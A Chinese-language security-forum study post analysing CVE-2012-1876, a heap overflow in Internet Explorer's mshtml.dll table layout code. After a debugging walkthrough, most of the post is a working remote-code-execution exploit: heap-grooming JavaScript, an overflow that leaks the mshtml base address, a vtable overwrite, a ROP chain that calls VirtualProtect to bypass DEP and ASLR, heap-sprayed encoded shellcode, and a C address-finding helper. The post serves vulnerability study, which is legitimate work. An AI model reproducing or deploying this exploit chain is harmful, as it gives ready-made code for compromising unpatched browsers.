[原创]学习笔记_CVE-2012-1876漏洞分析与利用-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

[原创]学习笔记_CVE-2012-1876漏洞分析与利用

2021-12-30 18:42 21164

[原创]学习笔记_CVE-2012-1876漏洞分析与利用

AshCrimson 活跃值

2021-12-30 18:42

21164

漏洞信息

CVE-2012-1876

mshtml.dll中函数CTableLayout::CalculateMinMax,通过span属性值作为循环次数向堆内存中写入数据时,未对span进行有效的校验而导致堆溢出,可实现RCE.

漏洞分析

调试ie,开启子进程调试,开启页堆,定位堆溢出位置

1 2	`gflags.exe` `-i iexplore.exe` `+hpa` `.childdbg` `1`

溢出点,edi的值导致了crash,edi=[esi+18],向上追踪esi何处被赋值

查看堆栈,CalCulateMinMax存在大量对esi的操作,对CalCulateMinMax函数下断,进行分析

首次加载页面,会获取一些属性,第一个参数为Table标签的类对象

ebx=CTableLayout

ebx+0x54== 所有col标签span属性值的和,标记为spannum

如果通过判断:(this+0x94>>2) < spannum,则通过函数EnsureSizeWorker申请空间

函数EnsureSizeWorker内部会进行判断,确保最小申请空间为0x1C*4=0x70字节空间,并将地址存储入this+0x9C处

执行完之后会对this+0x94进行更新

通过调用函数over_trigger修改标签属性,第二次运行CalculateMinMax

此时this+0x94更新后==4,(4>>2)==spannum,所以不会再进行申请内存的操作

此时GetAAspan返回值为0x3e8,说明span属性值已经成功被修改,但是CTableLayout成员变量并没有发生改变

spannum仍然为1

通过函数GetFancyFormat对修改后的width进行了一次运算(42765*100)<<4+9=0x4141149

然后将参数传入,通过函数GetPixelWidth进行第二次运算,最终通过width得到的结果为0x519159

当运行到此处时,已经可以很明显的看出漏洞成因了,压入参数[ebp-0xc]也就是前面通过width计算出的值,通过函数AjdustForCol,循环1000次写入堆中,每次写入数据大小为0xC,而堆大小只有0x70,因为修改span后,没有重新分配相应大小的堆空间,最终会产生堆溢出.

利用思路

构造堆的布局,进行占位.让内存申请到释放的位置.

第一次溢出覆盖字符串长度,暴露mshtml基址.

第二次溢出覆盖虚表指针,构造rop,通过heapspray将shellcode喷射到覆盖的虚表指针地址,绕过DEP和ASLR保护,执行shellcode.

漏洞利用

第一步申请内存空间,写入大量BSTR字符串,构造堆布局,释放存储字符"E"的堆空间,让EnsureSizeWorker申请内存时,可以占用释放的位置.

<div id="test"></div>
 <script language='javascript'>
     d = document.getElementById('test');
     var dap = "EEEE";
     while (dap.length < 0x200) dap += dap;
     var padding = "AAAA";
     while (padding.length < 0x200) padding += padding;
     var filler = "BBBB";
     while (filler.length < 0x200) filler += filler;
     var arr = new Array();
     var rra = new Array();
     //EEEE AAAA BBBB OOOO
     for (var i = 0; i < 1000; i += 2) {
         rra[i] = dap.substring(0, (0x100 - 6) / 2);
         arr[i] = padding.substring(0, (0x100 - 6) / 2);
         arr[i + 1] = filler.substring(0, (0x100 - 6) / 2);
         var obj = document.createElement("button");
         d.appendChild(obj);
     }
     //theap A B button
     for (var i = 200; i < 1000; i += 2) {
         rra[i] = null;
         CollectGarbage();
     }
 </script>

构造col标签,进行占位

<table style="table-layout:fixed">
          <col id="0" width="41" span="9">&nbsp </col>
</table>
      <table style="table-layout:fixed">
          <col id="1" width="41" span="9">&nbsp </col>
 </table>
...
<table style="table-layout:fixed">
          <col id="132" width="41" span="9">&nbsp </col>
</table>

通过windbg调试,输出日志,判断是否成功占位

sxe ld:jscript
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x18C ".echo vulheap;dd poi(ebx+9c) l4;g"
.logopen c:\log.txt

程序成功申请到前面释放的内存,这里要去除页堆,不然成功率很低.

当前内存布局,可以找到CButton虚表指针,需要通过它计算出mshtml基址,因为CButtonLayout虚表指针和mshtml基址的偏移是固定的,为了能够读取到这个值,需要通过溢出改变字符串B的长度,读取CButtonLayout虚表指针

function one_overflow() {
          //首次溢出,通过CButtonLayout暴露mshtml基址
          var col = document.getElementById(2);
          col.span = 19;
      }
 
      function get_mshtml_base() {
          var leak_addr = -1;
          for (var i = 0; i < 10000; i++) {
              if (arr[i].length > (0x100 - 6) / 2) {
                  leak_index = i;
                  var leak = arr[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8) + 4 / 2);
                  leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
                  //alert("CButtonLayout VirtualTable Point:0x" + leak_addr.toString(16));
                  mshtml_base = leak_addr - Number(0x001584f8);
                  //alert("mshtml base:0x" + mshtml_base.toString(16));
                  heapspray(mshtml_base);
                  break;
              }
          }
      }

第一次溢出,长度成功被覆盖

通过暴露的虚表指针信息,可以找到mshtml.dll基址,偏移为:0x1584F8

获取偏移后,再使用windbg调试,验证基址是否正确.

第二次溢出覆盖CButtonLayout对象的虚表指针进行覆盖,控制程序执行流程

这里进行覆盖的值=width*125,后面调用的虚函数地址为[eax+dc],与漏洞战争书上略有不同.

function second_overflow() {
           //二次溢出,覆盖CBttonLayout虚表指针
           var col = document.getElementById(2);
           col.width = "1003572";
           col.span = "29";
       }

成功控制执行流程.

下面进行heapspray,构造shellcode喷射到这个地址中.

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function heapspray(base) {
            //ret
            var rop = (base + 0x3142).toString(16);
            var rop_ret1 = rop.substring(4, 8);
            var rop_ret2 = rop.substring(0, 4);
            //pop ebp;ret
            var rop = (base + 0x4b015a).toString(16);
            var rop_popebp_ret1 = rop.substring(4, 8);
            var rop_popebp_ret2 = rop.substring(0, 4);
            //xchg eax,esp;ret
            var rop = (base + 0x701be).toString(16);
            var rop_xchg1 = rop.substring(4, 8);
            var rop_xchg2 = rop.substring(0, 4);
            //pop ebx;ret
            var rop = (base + 0x3d0537).toString(16);
            var rop_popebx_ret1 = rop.substring(4, 8);
            var rop_popebx_ret2 = rop.substring(0, 4);
            //pop edx;ret
            var rop = (base + 0x2fb796).toString(16);
            var rop_popedx_ret1 = rop.substring(4, 8);
            var rop_popedx_ret2 = rop.substring(0, 4);
            //pop ecx;ret
            var rop = (base + 0x17011a).toString(16);
            var rop_popecx_ret1 = rop.substring(4, 8);
            var rop_popecx_ret2 = rop.substring(0, 4);
            //writable
            var rop = (base + 0x100).toString(16);
            var writable1 = rop.substring(4, 8);
            var writable2 = rop.substring(0, 4);
            //pop edi;ret
            var rop = (base + 0x390a67).toString(16);
            var rop_popedi_ret1 = rop.substring(4, 8);
            var rop_popedi_ret2 = rop.substring(0, 4);
            //pop esi;ret
            var rop = (base + 0xf01bd).toString(16);
            var rop_popesi_ret1 = rop.substring(4, 8);
            var rop_popesi_ret2 = rop.substring(0, 4);
            //jmp eax
            var rop = (base + 0x1f2bd9).toString(16);
            var rop_jmpeax1 = rop.substring(4, 8);
            var rop_jmpeax2 = rop.substring(0, 4);
            //pop eax;ret
            var rop = (base + 0x351263).toString(16);
            var rop_popeax_ret1 = rop.substring(4, 8);
            var rop_popeax_ret2 = rop.substring(0, 4);
            //VirtualProtect
            var rop = (base + 0x1348).toString(16);
            var rop_vp1 = rop.substring(4, 8);
            var rop_vp2 = rop.substring(0, 4);
            //mov eax;dword ptr ds:[eax];ret
            var rop = (base + 0x214bbd).toString(16);
            var rop_moveax_ret1 = rop.substring(4, 8);
            var rop_moveax_ret2 = rop.substring(0, 4);
            //pushad;ret
            var rop = (base + 0x51a2c8).toString(16);
            var rop_pushad_ret1 = rop.substring(4, 8);
            var rop_pushad_ret2 = rop.substring(0, 4);
            //push esp;ret
            var rop = (base + 0x49cb1d).toString(16);
            var rop_pushesp_ret1 = rop.substring(4, 8);
            var rop_pushesp_ret2 = rop.substring(0, 4);
 
            var shellcode = unescape("%u" + rop_ret1 + "%u" + rop_ret2);                 //ret
            shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2);      //pop ebp;ret
            for (var i = 0; i < 0x32; i++) {
                shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2);                //ret
            }
            shellcode += unescape("%u" + rop_popebp_ret1 + "%u" + rop_popebp_ret2);      //pop ebp;ret       ebp=shellcode_addr
            shellcode += unescape("%u2a80%u077a");
            shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2);                    
            shellcode += unescape("%u" + rop_xchg1 + "%u" + rop_xchg2);                  //xchg eax,esp;ret; start change stack
            shellcode += unescape("%u" + rop_popebx_ret1 + "%u" + rop_popebx_ret2);      //pop ebx;ret       ebx=1024
            shellcode += unescape("%u1024%u0000");                                       //1024            
            shellcode += unescape("%u" + rop_popedx_ret1 + "%u" + rop_popedx_ret2);      //pop edx;ret       edx=40
            shellcode += unescape("%u0040%u0000");                                       //40
            shellcode += unescape("%u" + rop_popecx_ret1 + "%u" + rop_popecx_ret2);      //pop ecx;ret       
            shellcode += unescape("%u2a70%u077a");                                      
            shellcode += unescape("%u" + rop_popedi_ret1 + "%u" + rop_popedi_ret2);      //pop edi;ret       
            shellcode += unescape("%u" + rop_ret1 + "%u" + rop_ret2);                    //ret
            shellcode += unescape("%u" + rop_popesi_ret1 + "%u" + rop_popesi_ret2);      //pop esi;ret        
            shellcode += unescape("%u" + rop_jmpeax1 + "%u" + rop_jmpeax2);              //jmp eax
            shellcode += unescape("%u" + rop_popeax_ret1 + "%u" + rop_popeax_ret2);      //pop eax;ret
            shellcode += unescape("%u" + rop_vp1 + "%u" + rop_vp2);                      //VirtualProtect_addr eax=VirtualProtect
            shellcode += unescape("%u" + rop_moveax_ret1 + "%u" + rop_moveax_ret2);      //mov eax;[eax];ret
            shellcode += unescape("%u" + rop_pushad_ret1 + "%u" + rop_pushad_ret2);      //pushad;ret
            shellcode += unescape("%u" + rop_pushesp_ret1 + "%u" + rop_pushesp_ret2);    //push esp;ret;
            shellcode += unescape("%u9090%u9090");
            shellcode += unescape("%u9090%u9090");
            shellcode += unescape(
                "%u68FC%u0A6A%u1E38%u6368%uD189%u684F%u7432%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3%u33BB" +
                "%u5332%u7568%u6573%u5472%uD233%u8B64%u305A%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u6A3D" +
                "%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B" +
                "%u03BB%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46%u3BF1%u2454%u751C%u8BE4%u2459%uDD03" +
                "%u8B66%u7B3C%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0A6A%u1E38%uA975%uDB33%u6853%u6465" +
                "%u0000%u6868%u6361%u8B6B%u53C4%u5050%uFF53%uFC57%uFF53%uF857%9090%9090%9090");
            while (shellcode.length < 100000) {
                shellcode += shellcode;
            }
            //64k
            var onemeg = shellcode.substr(0, 64 * 1024 / 2);
            for (i = 0; i < 14; i++) {
                onemeg += shellcode.substr(0, 64 * 1024 / 2);
            }
            var spray = new Array();
            for (i = 0; i < 1000; i++) {
                spray[i] = onemeg.substr(0, onemeg.length);
            }
        }

为了使覆盖的虚表指针的值刚好是shellcode起始位置,并且eax+dc位置是xchg eax,esp ret指令地址,可以通过读取内存快速查找对应地址,写入第二次溢出的width中

#include <iostream>
#include <windows.h>
int main()
{
    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, 3920);
    int addr = 1000000;
    DWORD temp = 0;
    while (1) {
        DWORD val = 0;
        int ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125), &val, 4, &temp);
        if (ret) {
            printf("addr:%08x:%08x\n", addr * 125);
        }
        if (ret && val == 0x6ABD3142) {
            ret = ReadProcessMemory(processHandle, (LPVOID)(addr * 125 + 0xdc), &val, 4, &temp);
            if (val == 0x6AC401BE) {
                printf("result=%d\n", addr);
                break;
            }
        }
        printf("%x\n", addr);
        addr++;
    }
    system("pause");
}